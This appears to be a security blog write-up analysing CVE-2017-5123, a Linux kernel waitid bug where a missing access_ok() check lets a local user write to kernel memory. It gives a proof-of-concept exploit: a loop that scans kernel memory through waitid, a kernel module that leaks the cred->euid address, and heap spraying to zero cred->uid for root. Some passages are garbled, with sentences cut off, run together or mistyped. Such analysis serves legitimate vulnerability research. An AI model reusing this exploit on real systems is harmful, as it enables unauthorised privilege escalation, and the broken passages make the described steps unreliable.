
Detailed technical analysis and proof-of-concept exploit for CVE-2017-5123, a Linux kernel waitid syscall vulnerability enabling local privilege escalation via missing access_ok() check.
The waitid system call in the Linux kernel did not validate the destination address used. This could allow a local user to write to kernel memory, potentially leading to privilege escalation on the device or sandbox escape.
kernel/exit.c
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin(); // bản chất là gọi stac(), tạm thời tắt SMAP
unsafe_put_user(signo, &infop->si_signo, Efault); // <- thiếu access_ok() check trc khi gọi hàm này
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // bản chất là gọi clac(), bật lại SMAP
return err;
Efault:
user_access_end();
return -EFAULT;
}
The identified flaw here is the missing access_ok() check before calling the unsafe_put_user() function. In earlier kernel versions, the program used the put_user() function, which includes the access_ok() check.
put_user(x, void __user *ptr)
if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
return -EFAULT
user_access_begin()
*ptr = x
user_access_end()
By using the unsafe_put_user() function, the program avoids repeatedly enabling/disabling SMAP multiple times in a short period due to calling user_access_begin() / user_access_end(). The access_ok() function here validates the address ptr, ensuring it belongs to user memory, thus preventing users from writing to kernel memory. So if we call the waitid syscall with the infop parameter pointing to a kernel address, it will trigger this vulnerability.
The missing access_ok() check allows us to pass a kernel address as the infop parameter of waitid, and then the syscall will overwrite this address by calling unsafe_put_user(). A limitation here is that we cannot control what gets written to the provided kernel address. There are 6 fields used for writing: signo, null byte, info.cause, info.pid (max value 0x8000), info.uid, info.status (though int32, only values >0, <256). The most useful field here is probably the null byte. We can use it to overwrite cred->euid and cred->uid. To do that, we need to know the addresses of these two values.
According to kernel.org, the Kernel-space virtual memory shared among all processes starts at 0xffff800000000000. However, from 0xxffff800000000000 to 0xffff87ffffffffff is a "... guard hole, also reserved for hypervisor", so we will start scanning memory from address 0xffff880000000000. It is also worth noting that we can scan memory because unsafe_put_user() will not crash when accessing invalid addresses. This prevents unprivileged users from DoSing the system by passing invalid addresses.
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %p\n", i);
break;
}
}
else if (pid == 0)
exit(0);
}

Now we know the kernel heap address; next we will determine the address of the cred struct.
Although we know the kernel heap address, that address may not be the start of the heap. So we cannot calculate the exact address of the Cred struct. At this point we use a technique called heap spray.
geteuid(); if it returns 0, that process is running with root privileges – bingo.waitid() syscall using the vulnerability, guesses the cred struct address, and overwrites cred->uid to null.Debugging to find the cred struct address of child processes takes a lot of time, so I used a module to print the cred->euid address via printk().
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h> // for basic filesystem
#include <linux/proc_fs.h> // for the proc filesystem
#include <linux/seq_file.h> // for sequence files
static struct proc_dir_entry* jif_file;
static int
jif_show(struct seq_file *m, void *v)
{
return 0;
}
static int
jif_open(struct inode *inode, struct file *file)
{
printk("EUID: %p\n", ¤t->cred->euid);
return single_open(file, jif_show, NULL);
}
static const struct file_operations jif_fops = {
.owner = THIS_MODULE,
.open = jif_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init
jif_init(void)
{
jif_file = proc_create("jif", 0, NULL, &jif_fops);
if (!jif_file) {
return -ENOMEM;
}
return 0;
}
static void __exit
jif_exit(void)
{
remove_proc_entry("jif", NULL);
}
module_init(jif_init);
module_exit(jif_exit);
MODULE_LICENSE("GPL");

I noticed that addresses have similar patterns, and even after a reboot, the offsets of those addresses remain similar. So I decided to pick an address and then add pagesize in a loop to guess the cred struct address.

heap addr found + offset, which needs to be reduced to a smaller offset to be usable across multiple versions. However, this means a longer attack time and increased chance of kernel panic/crash due to potentially overwriting other important structs in the heap.access_ok() check